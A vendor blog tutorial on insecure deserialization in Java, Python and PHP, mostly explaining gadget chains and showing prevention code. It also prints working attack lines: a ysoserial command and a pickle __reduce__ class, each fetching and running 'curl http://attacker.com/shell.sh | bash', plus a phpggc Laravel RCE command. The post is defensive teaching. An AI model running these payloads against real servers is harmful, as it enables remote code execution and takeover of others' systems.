Skip to main content
Back to blog
April 28, 2026·Updated April 28, 2026|9 min read|Antoine Duno

Insecure Deserialization: RCE Attacks in Java, Python & PHP

Insecure deserialization is one of the most dangerous web vulnerabilities — a carefully crafted serialized object can trigger remote code execution on your server. This guide explains gadget chains, real-world exploits, and prevention strategies for Java, Python, and PHP.

ZeriFlow Team

1,629 words

Insecure Deserialization: RCE Attacks in Java, Python & PHP

Insecure deserialization is a vulnerability class where untrusted data is used to reconstruct an object, allowing an attacker to manipulate application logic, escalate privileges, or execute arbitrary code. It's listed as OWASP A08:2021 and has been responsible for critical breaches including the Apache Commons Collections vulnerability that affected millions of Java applications, the Ruby on Rails mass assignment incidents, and numerous PHP object injection attacks.

[Check your application security posture with ZeriFlow](https://zeriflow.com) — free scanner, 80+ vulnerability checks.


What Is Serialization and Why Is It Dangerous?

Serialization converts an in-memory object into a format that can be stored or transmitted (binary bytes, JSON, XML, YAML, PHP's serialize() format). Deserialization reconstructs the object from that format.

The danger: deserialization is not just data parsing. In most languages, the process of reconstructing an object can invoke code — constructors, destructors, magic methods, and finalizers. If an attacker controls the serialized data, they can craft objects that invoke dangerous code paths during deserialization itself, before your application ever uses the deserialized value.


Java Deserialization and Gadget Chains

Java's native serialization (ObjectInputStream.readObject()) is the most notorious. When deserializing, Java:

  1. 1Reads the class name from the serialized stream.
  2. 2Instantiates that class.
  3. 3Calls readObject() if defined, otherwise restores fields.
  4. 4Various callbacks like toString(), hashCode(), equals() may be invoked transitively.

A gadget chain is a sequence of classes in the JVM classpath whose methods, when called in sequence during deserialization, ultimately execute attacker-controlled code. The attacker doesn't need a custom class — they use classes already present in the application's dependencies.

Apache Commons Collections (CVE-2015-4852)

The most famous Java deserialization exploit. Using classes from commons-collections, an attacker could craft a serialized payload that, upon deserialization, executes any OS command:

# Using ysoserial tool to generate payload
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.ser

# Send payload to vulnerable endpoint
curl -X POST http://victim.com/api/objects   --data-binary @payload.ser   --header 'Content-Type: application/x-java-serialized-object'

This affected: JBoss, WebLogic, WebSphere, Jenkins, and any application using commons-collections with an exposed deserialization endpoint.

Java Prevention

java
// VULNERABLE
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // deserializes anything

// SECURE: use a filter to allowlist deserializable classes
import java.io.ObjectInputFilter;

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
    Class<?> cls = info.serialClass();
    if (cls == null) return ObjectInputFilter.Status.UNDECIDED;
    
    // Allowlist of safe classes
    Set<Class<?>> allowed = Set.of(
        MyDTO.class,
        AnotherSafeClass.class
    );
    
    return allowed.contains(cls) 
        ? ObjectInputFilter.Status.ALLOWED 
        : ObjectInputFilter.Status.REJECTED;
});

Java 9+ introduced ObjectInputFilter for this purpose. Use it. Additionally, upgrade and remove vulnerable libraries (commons-collections 3.x).


Python Pickle: Deserialization RCE

Python's pickle module is explicitly documented as unsafe:

"The pickle module is not secure. Only unpickle data you trust."

Yet it's frequently misused in web applications, ML model serving, task queues, and caching layers.

How Pickle RCE Works

python
import pickle, os

class MaliciousPayload:
    def __reduce__(self):
        # __reduce__ is called during deserialization
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = pickle.dumps(MaliciousPayload())
# Send this bytes object to any endpoint that calls pickle.loads()

Any application that calls pickle.loads(user_data) will execute os.system('...') — no gadget chain needed. The RCE is baked into the format.

Real-World Pickle Exposure

  • Flask session cookies: If SECRET_KEY is weak/leaked, attackers can forge Flask sessions signed with itsdangerous — and if the session is pickled (some configurations), achieve RCE.
  • Celery task queues: Older Celery versions using pickle for task serialization could be exploited if an attacker could publish to the queue.
  • ML model serving: Endpoints that accept model uploads and call pickle.load() on them.
  • Redis caching: Applications that pickle objects before storing in Redis — if Redis is accessible to attackers.

Python Prevention

python
# NEVER use pickle with untrusted data
# Use JSON, MessagePack, or protobuf instead

import json

# Instead of pickle for caching:
data = json.dumps({'user_id': 123, 'preferences': {...}})
cache.set('user:123', data)

data = json.loads(cache.get('user:123'))

For ML models:

python
# VULNERABLE
import pickle
model = pickle.loads(uploaded_file.read())

# SAFER: use framework-specific formats
import joblib
# Still has risks — prefer ONNX for untrusted model serving

# SAFEST: never load models from untrusted sources
# Run model inference in an isolated sandbox/container

PHP Object Injection

PHP's unserialize() function reconstructs PHP objects from a string representation. Similar to Java, PHP invokes magic methods during deserialization:

  • __wakeup(): Called when an object is deserialized
  • __destruct(): Called when the object is garbage collected
  • __toString(): Called when object is treated as string

These magic methods in commonly installed PHP libraries form gadget chains.

PHP Exploit Example

php
// Attacker crafts a serialized object
// Using a gadget chain targeting common PHP frameworks
// (Symfony, Laravel, Zend have known gadget chains)

$payload = 'O:29:"Symfony\Component\HttpFoundation\...":...{...}';
// Send as cookie, POST parameter, or any unserialized input

Tools like PHPGGC (PHP Generic Gadget Chains) generate payloads for known PHP frameworks:

bash
# Generate RCE payload targeting Laravel
phpggc Laravel/RCE1 system 'id' | base64

PHP Prevention

php
// VULNERABLE
$data = unserialize($_COOKIE['preferences']);

// SECURE OPTION 1: use JSON instead
$data = json_decode($_COOKIE['preferences'], true);
// Validate the structure after decoding

// SECURE OPTION 2: if you must use unserialize(), use allowed_classes
$data = unserialize($input, ['allowed_classes' => false]);
// allowed_classes => false converts all objects to stdClass (no magic methods)

// SECURE OPTION 3: allowlist specific classes
$data = unserialize($input, ['allowed_classes' => ['MyDTO', 'UserPreferences']]);

The allowed_classes parameter was added in PHP 7.0 precisely to address this issue.


Safer Serialization Formats

For data that crosses trust boundaries, use formats that cannot invoke code:

FormatLanguageCode Execution Risk
JSONAllNone (data only)
Protocol BuffersAllNone
MessagePackAllNone
CBORAllNone
XML (no entities)AllLow (if parsers hardened)
YAMLMultipleYes — avoid for untrusted input
picklePythonCritical
Java native serializationJavaCritical
PHP serialize()PHPHigh

YAML warning: PyYAML's yaml.load() can execute Python code via !!python/object tags. Always use yaml.safe_load().

python
import yaml

# VULNERABLE
data = yaml.load(user_input)  # can execute code

# SECURE
data = yaml.safe_load(user_input)  # no code execution

Signing and Integrity Verification

If you must serialize objects for transport (e.g., session tokens), sign the serialized data and verify before deserializing:

python
import hmac, hashlib, pickle, base64

SECRET = b'your-secret-key'

def safe_serialize(obj):
    data = pickle.dumps(obj)
    sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
    return base64.b64encode(data).decode() + '.' + sig

def safe_deserialize(token):
    parts = token.rsplit('.', 1)
    if len(parts) != 2:
        raise ValueError('Invalid token format')
    
    data = base64.b64decode(parts[0])
    expected_sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
    
    if not hmac.compare_digest(parts[1], expected_sig):
        raise ValueError('Signature verification failed')
    
    return pickle.loads(data)  # only deserialize after signature check

This prevents attackers from crafting malicious payloads — they don't know the secret key. However, this still doesn't protect against malicious content if the secret is ever compromised. Defense-in-depth: sign AND use allowlists.


FAQ

Q: Is insecure deserialization common in modern applications?

A: It's less common than SQL injection or XSS, but its impact when found is typically severe (RCE). It's particularly prevalent in Java enterprise applications (SOAP services, JMX endpoints), Python ML pipelines, PHP applications using session serialization, and any application using message queues (Celery, RabbitMQ) with pickle serialization. The OWASP Top 10 inclusion reflects its severity, not just its frequency.

Q: Can JSON deserialization be exploited?

A: Standard JSON parsing (converting JSON text to dictionaries/objects) is not vulnerable to code execution. However, some "enhanced" JSON libraries support type annotations that can instantiate specific classes: Jackson in Java with polymorphic type handling enabled, and custom deserializers in various frameworks. Disable polymorphic type handling in Jackson unless specifically needed.

Q: What is a gadget chain?

A: A gadget chain is a sequence of methods in existing library code that, when invoked in a specific sequence during deserialization, performs attacker-desired actions (like executing a command). The attacker doesn't upload code — they craft a serialized object that triggers existing code in an unintended way. Tools like ysoserial (Java) and PHPGGC (PHP) automate gadget chain discovery and payload generation.

Q: How do I find deserialization vulnerabilities in code review?

A: Search for: ObjectInputStream.readObject() (Java), pickle.loads() (Python), unserialize() (PHP), yaml.load() (Python), Marshal.load() (Ruby), BinaryFormatter.Deserialize() (.NET). Any of these receiving data from external sources (HTTP requests, file uploads, database values from untrusted sources, message queues) is a potential vulnerability.

Q: Does ZeriFlow detect insecure deserialization?

A: ZeriFlow scans for server-level indicators and HTTP response patterns that may suggest deserialization exposure — such as Java serialization magic bytes in responses (aced0005), specific error messages from deserialization failures, and framework-version disclosure that correlates with known vulnerable versions. Run a free scan at ZeriFlow as your first step, then audit deserialization calls in your codebase.


Conclusion

Insecure deserialization is uniquely dangerous because the vulnerability is in a fundamental language mechanism — object reconstruction — not in an obvious user-facing feature. Java's ObjectInputStream, Python's pickle, and PHP's unserialize() have all been weaponized for RCE at scale.

The prevention is clear: never deserialize untrusted data using native serialization formats. Use JSON or Protocol Buffers for data exchange. If native serialization is unavoidable, implement class allowlists, sign serialized data, and keep all libraries updated to eliminate known gadget chains.

[Scan your application with ZeriFlow](https://zeriflow.com) — free, 80+ security checks, instant results. Identify your exposure indicators today, then audit every deserialization call in your codebase. The combination of automated scanning and manual code review is the only way to be confident you're protected.

Treat all serialized data as code. Because in Java, Python, and PHP — it often is.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading